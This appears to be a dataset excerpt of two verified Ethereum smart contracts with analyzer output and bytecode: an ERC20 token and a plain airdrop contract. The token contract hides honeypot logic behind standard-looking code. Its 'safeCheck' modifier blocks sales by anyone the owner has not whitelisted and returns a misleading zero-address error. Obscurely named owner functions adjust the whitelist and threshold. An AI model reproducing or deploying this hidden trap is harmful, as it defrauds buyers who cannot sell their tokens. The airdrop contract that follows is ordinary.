{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,317 |
0x98ee442b49c8f42048edc082e49f721d7f91ea43
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_ALLEY(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220915d4961ef206aa807b1c34526d1bf494eda66b808d5b531ca27565902edcc3264736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,318 |
0xd0f1a56f4bd5a9b992c91624b0d405a47cb251e6
|
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
*
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title OwnableWithAdmin
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableWithAdmin {
address public owner;
address public adminOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
adminOwner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the admin.
*/
modifier onlyAdmin() {
require(msg.sender == adminOwner);
_;
}
/**
* @dev Throws if called by any account other than the owner or admin.
*/
modifier onlyOwnerOrAdmin() {
require(msg.sender == adminOwner || msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current adminOwner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferAdminOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(adminOwner, newOwner);
adminOwner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
/**
* @title AirDrop
* @notice Contract is not payable.
* Owner or admin can allocate tokens.
* Tokens will be released direct.
*
*
*/
contract AirDrop is OwnableWithAdmin {
using SafeMath for uint256;
uint256 private constant DECIMALFACTOR = 10**uint256(18);
event FundsBooked(address backer, uint256 amount, bool isContribution);
event LogTokenClaimed(address indexed _recipient, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed);
event LogNewAllocation(address indexed _recipient, uint256 _totalAllocated);
event LogRemoveAllocation(address indexed _recipient, uint256 _tokenAmountRemoved);
event LogOwnerSetAllocation(address indexed _recipient, uint256 _totalAllocated);
event LogTest();
// Amount of tokens claimed
uint256 public grandTotalClaimed = 0;
// The token being sold
ERC20 public token;
// Amount of tokens Raised
uint256 public tokensTotal = 0;
// Max token amount
uint256 public hardCap = 0;
// Buyers total allocation
mapping (address => uint256) public allocationsTotal;
// User total Claimed
mapping (address => uint256) public totalClaimed;
//Buyers
mapping(address => bool) public buyers;
//Buyers who received all there tokens
mapping(address => bool) public buyersReceived;
//List of all addresses
address[] public addresses;
constructor(ERC20 _token) public {
require(_token != address(0));
token = _token;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () public {
//Not payable
}
/**
* @dev Set many allocations buy admin
* @param _recipients Array of wallets
* @param _tokenAmount Amount Allocated tokens + 18 decimals
*/
function setManyAllocations (address[] _recipients, uint256 _tokenAmount) onlyOwnerOrAdmin public{
for (uint256 i = 0; i < _recipients.length; i++) {
setAllocation(_recipients[i],_tokenAmount);
}
}
/**
* @dev Set allocation buy admin
* @param _recipient Users wallet
* @param _tokenAmount Amount Allocated tokens + 18 decimals
*/
function setAllocation (address _recipient, uint256 _tokenAmount) onlyOwnerOrAdmin public{
require(_tokenAmount > 0);
require(_recipient != address(0));
//Check hardCap
require(_validateHardCap(_tokenAmount));
//Allocate tokens
_setAllocation(_recipient, _tokenAmount);
//Increese token amount
tokensTotal = tokensTotal.add(_tokenAmount);
//Logg Allocation
emit LogOwnerSetAllocation(_recipient, _tokenAmount);
}
/**
* @dev Remove allocation
* @param _recipient Users wallet
*
*/
function removeAllocation (address _recipient) onlyOwner public{
require(_recipient != address(0));
require(totalClaimed[_recipient] == 0); //Check if user claimed tokens
//_recipient total amount
uint256 _tokenAmountRemoved = allocationsTotal[_recipient];
//Decreese token amount
tokensTotal = tokensTotal.sub(_tokenAmountRemoved);
//Reset allocation
allocationsTotal[_recipient] = 0;
//Set buyer to false
buyers[_recipient] = false;
emit LogRemoveAllocation(_recipient, _tokenAmountRemoved);
}
/**
* @dev Set internal allocation
* _buyer The adress of the buyer
* _tokenAmount Amount Allocated tokens + 18 decimals
*/
function _setAllocation (address _buyer, uint256 _tokenAmount) internal{
if(!buyers[_buyer]){
//Add buyer to buyers list
buyers[_buyer] = true;
//Remove from list
buyersReceived[_buyer] = false;
//Add _buyer to addresses list
addresses.push(_buyer);
//Reset buyer allocation
allocationsTotal[_buyer] = 0;
}
//Add tokens to buyers allocation
allocationsTotal[_buyer] = allocationsTotal[_buyer].add(_tokenAmount);
//Logg Allocation
emit LogNewAllocation(_buyer, _tokenAmount);
}
/**
* @dev Return address available allocation
* @param _recipient which address is applicable
*/
function checkAvailableTokens (address _recipient) public view returns (uint256) {
//Check if user have bought tokens
require(buyers[_recipient]);
return allocationsTotal[_recipient];
}
/**
* @dev Transfer a recipients available allocation to their address
* @param _recipients Array of addresses to withdraw tokens for
*/
function distributeManyTokens(address[] _recipients) onlyOwnerOrAdmin public {
for (uint256 i = 0; i < _recipients.length; i++) {
distributeTokens( _recipients[i]);
}
}
/**
* @notice Withdraw available tokens
*
*/
function withdrawTokens() public {
distributeTokens(msg.sender);
}
/**
* @dev Transfer a recipients available allocation to _recipient
*
*/
function distributeTokens(address _recipient) public {
//Check have bought tokens
require(buyers[_recipient]);
//If all tokens are received, add _recipient to buyersReceived
//To prevent the loop to fail if user allready used the withdrawTokens
buyersReceived[_recipient] = true;
uint256 _availableTokens = allocationsTotal[_recipient];
//Check if contract has tokens
require(token.balanceOf(this)>=_availableTokens);
//Transfer tokens
require(token.transfer(_recipient, _availableTokens));
//Add claimed tokens to totalClaimed
totalClaimed[_recipient] = totalClaimed[_recipient].add(_availableTokens);
//Add claimed tokens to grandTotalClaimed
grandTotalClaimed = grandTotalClaimed.add(_availableTokens);
//Reset allocation
allocationsTotal[_recipient] = 0;
emit LogTokenClaimed(_recipient, _availableTokens, allocationsTotal[_recipient], grandTotalClaimed);
}
function _validateHardCap(uint256 _tokenAmount) internal view returns (bool) {
return tokensTotal.add(_tokenAmount) <= hardCap;
}
function getListOfAddresses() public onlyOwnerOrAdmin view returns (address[]) {
return addresses;
}
// Allow transfer of tokens back to owner or reserve wallet
function returnTokens() public onlyOwner {
uint256 balance = token.balanceOf(this);
require(token.transfer(owner, balance));
}
// Owner can transfer tokens that are sent here by mistake
function refundTokens(address _recipient, ERC20 _token) public onlyOwner {
uint256 balance = _token.balanceOf(this);
require(_token.transfer(_recipient, balance));
}
}
/**
* @title BYTMAirDrop
*
*
*/
contract BYTMAirDrop is AirDrop {
constructor(
ERC20 _token
) public AirDrop(_token) {
// 40,000,000 tokens
hardCap = 40000000 * (10**uint256(18));
}
}
|
